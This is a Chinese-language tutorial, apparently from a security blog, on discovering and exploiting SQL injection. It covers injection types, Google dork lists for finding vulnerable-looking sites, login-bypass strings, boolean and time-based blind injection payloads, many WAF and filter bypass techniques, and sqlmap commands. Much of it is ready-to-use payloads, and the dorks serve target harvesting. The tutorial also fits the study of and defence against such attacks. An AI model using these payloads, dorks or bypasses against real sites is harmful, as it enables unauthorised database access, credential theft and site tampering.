sql注入如何挖掘(一)
字数 796 2025-08-24 16:48:16
SQL注入挖掘技术详解
一、SQL注入原理与分类
1.1 原理概述
SQL注入是由于Web应用程序对用户输入的参数没有进行严格过滤(如过滤单双引号、尖括号等),导致恶意输入被直接拼接到数据库查询语句中执行。
1.2 注入分类
1.2.1 根据参数类型
-
数值型注入:参数为数字类型
select * from user where id = 2; -
字符型注入:参数为字符串类型
select * from user where username = 'zhangsan' and password = '123abc';- 单引号字符型注入
- 双引号字符型注入
1.2.2 根据提交方式
- GET注入:通过URL参数提交
- POST注入:通过表单提交
- Cookie注入:通过Cookie字段提交
- HTTP Header注入:通过请求头提交
1.2.3 根据回显情况
-
显注:前端页面可回显信息
- 联合注入
- 报错注入
-
盲注:前端无回显
- 布尔盲注
- 时间盲注
二、SQL注入危害
- 数据库信息泄露
- 网页篡改
- 网站挂马
- 私自添加系统账号
- 读写文件获取webshell
三、SQL注入挖掘方法
3.1 常见注入点
- 登录框
- 搜索框
- URL参数(xxx?id= 或 xxx?num=)
3.2 Google Hack语法收集目标
inurl:/search_results.php search=
inurl:'Product.asp?BigClassName
inurl:Article_Print.asp?
inurl:NewsInfo.asp?id=
inurl:EnCompHonorBig.asp?id=
inurl:ManageLogin.asp
inurl:Offer.php?idf=
inurl:Opinions.php?id=
inurl:Page.php?id=
inurl:Pop.php?id=
inurl:Post.php?id=
inurl:Prod_info.php?id=
inurl:Product-item.php?id=
inurl:Product.php?id=
inurl:Product_ranges_view.php?ID=
inurl:Productdetail.php?id=
inurl:Productinfo.php?id=
inurl:Produit.php?id=
inurl:Profile_view.php?id=
inurl:Publications.php?id=
inurl:Stray-Questions-View.php?num=
inurl:aboutbook.php?id=
inurl:ages.php?id=
inurl:announce.php?id=
inurl:art.php?idm=
inurl:article.php?ID=
inurl:asp?id=
inurl:avd_start.php?avd=
inurl:band_info.php?id=
inurl:buy.php?category=
inurl:category.php?id=
inurl:channel_id=
inurl:chappies.php?id=
inurl:clanek.php4?id=
inurl:clubpage.php?id=
inurl:collectionitem.php?id=
inurl:communique_detail.php?id=
inurl:curriculum.php?id=
inurl:declaration_more.php?decl_id=
inurl:detail.php?ID=
inurl:download.php?id=
inurl:downloads_info.php?id=
inurl:event.php?id=
inurl:faq2.php?id=
inurl:fellows.php?id=
inurl:fiche_spectacle.php?id=
inurl:forum_bds.php?num=
inurl:galeri_info.php?l=
inurl:gallery.php?id=
inurl:game.php?id=
inurl:games.php?id=
inurl:historialeer.php?num=
inurl:hosting_info.php?id=
inurl:humor.php?id=
四、手工测试方法
4.1 登录框测试
测试步骤:
-
加单引号:
select * from table where name='admin''; -
加'and 1=1:
select * from table where name='admin' and 1=1--' -
加and 1=2--:
select * from table where name='admin' and 1=2--' -
满足以上3个条件则存在字符型注入
测试方式:
账号:zhangsan'
密码:123456'
账号:zhangsan' and 1=1#
账号:zhangsan' and 1=1--
账号:zhangsan' and 1=1--+
账号:zhangsan' and 1=2#
账号:zhangsan' and 1=2--
账号:zhangsan' and 1=2--+
# 万能密码测试
账号:admin' or '1'='1
密码:admin' or '1'='1
账号:admin' and 1=1
密码:admin' and 1=1
账号:admin' or 1=1 or ''='
密码:admin' or 1=1 or ''='
4.2 搜索框测试
# 第一种测试方式
%' and '%1%'='%1
%' and '%1%'='%2
# 第二种测试方式
%1% # 查询包含1的数据
% # 查询所有数据
4.3 URL参数测试
测试步骤:
-
加单引号:
xxx.xxx.xxx/xxx.php?id=3'; -
加and 1=1:
xxx.xxx.xxx/xxx.php?id=3 and 1=1 -
加and 1=2:
xxx.xxx.xxx/xxx.php?id=3 and 1=2 -
满足以上3个条件则存在数字型注入
测试方法:
# 第一种测试方式
xxx?id=1'
# 第二种测试方式
xxx?id=1 and 1=1
xxx?id=1 and 1=1--
xxx?id=1 and 1=1--+
xxx?id=1 and 1=2
xxx?id=1 and 1=2--
xxx?id=1 and 1=2--+
# 第三种测试方式
xxx?id=171-1 # 正常
xxx?id=171-180 # 错误
# 第四种测试方式
xxx?id=171*1 # 正常
xxx?id=171*180 # 错误
# 第五种测试方式
xxx?id=171/1 # 正常
xxx?id=171/180 # 错误
五、盲注技术
5.1 布尔盲注
# Left判断
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2) > 'sa' --+
# Like语句判断
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+
# Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+
5.2 时间盲注
# 判断注入点
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //无休眠
?id=1') and sleep(5)--+ //无休眠
?id=1") and sleep(5)--+ //无休眠
?id=1' and if(length(database())=8,sleep(10),1)--+
六、Bypass绕过技术
6.1 绕过空格
# payload
%20 %09 %0a %0b %0c %0d %a0 %00
# 注释替换空格
/**/
# 使用"+"号
+
# 括号绕过
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
6.2 绕过引号
# 16进制
username=0x61646D696E
# ASCII编码
concat(char(97),char(100),char(109),char(105),char(110))
6.3 绕过逗号
# substr() 逗号绕过
select * from test where id=1 and (select ascii(substr(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substr(username from 2 for 1))from admin limit 1)>97;
# substring() 逗号绕过
select * from test where id=1 and (select ascii(substring(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substring(username from 2 for 1))from admin limit 1)>97;
# mid() 逗号绕过
select * from test where id=1 and (select ascii(mid(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(mid(username from 2 for 1))from admin limit 1)>97;
# limit 逗号绕过
select * from test where id=1 limit 1,2;
select * from test where id=1 limit 2 offset 1;
6.4 绕过比较符<>
# greatest与least
select * from users where id=1 and ascii(substring(database(),0,1))>64;
select * from users where id=1 and greatest(ascii(substring(database(),0,1)),64);
select * from users where id=1 and ascii(substring(database(),0,1))<64;
select * from users where id=1 and least(ascii(substring(database(),0,1)),64);
6.5 绕过or and xor not
and → &&
or → ||
xor → |
not → !
6.6 绕过注释符
# 过滤#时使用
select * from users where username='admin' and 1=1||'' limit 0,1
6.7 绕过等于号
使用 like、rlike、regexp
6.8 绕过union,select,where等
# 使用注释符
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
# 大小写绕过
id=-1'UnIoN/**/SeLeCT
# 内联注释绕过
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE \*//\*!TaBlE_ScHeMa*/ like database()#
# 双关键字绕过
id=-1'UNIunionONSeLselectECT1,2,3–-
6.9 绕过延时函数
select*from users where id=1 and (ascii(substr(database(),1,1))>100) and (SELECT count(*) FROM information_schema.tables A, information_schema.columns B, information_schema.TABLES C);
6.10 绕过云WAF
找到真实IP,使用真实IP访问
七、自动化工具使用
7.1 SQLMap基本用法
python sqlmap.py -r data.txt -p user --level 3 --dbs --batch
python sqlmap.py -r data.txt --level 3 --dbs --batch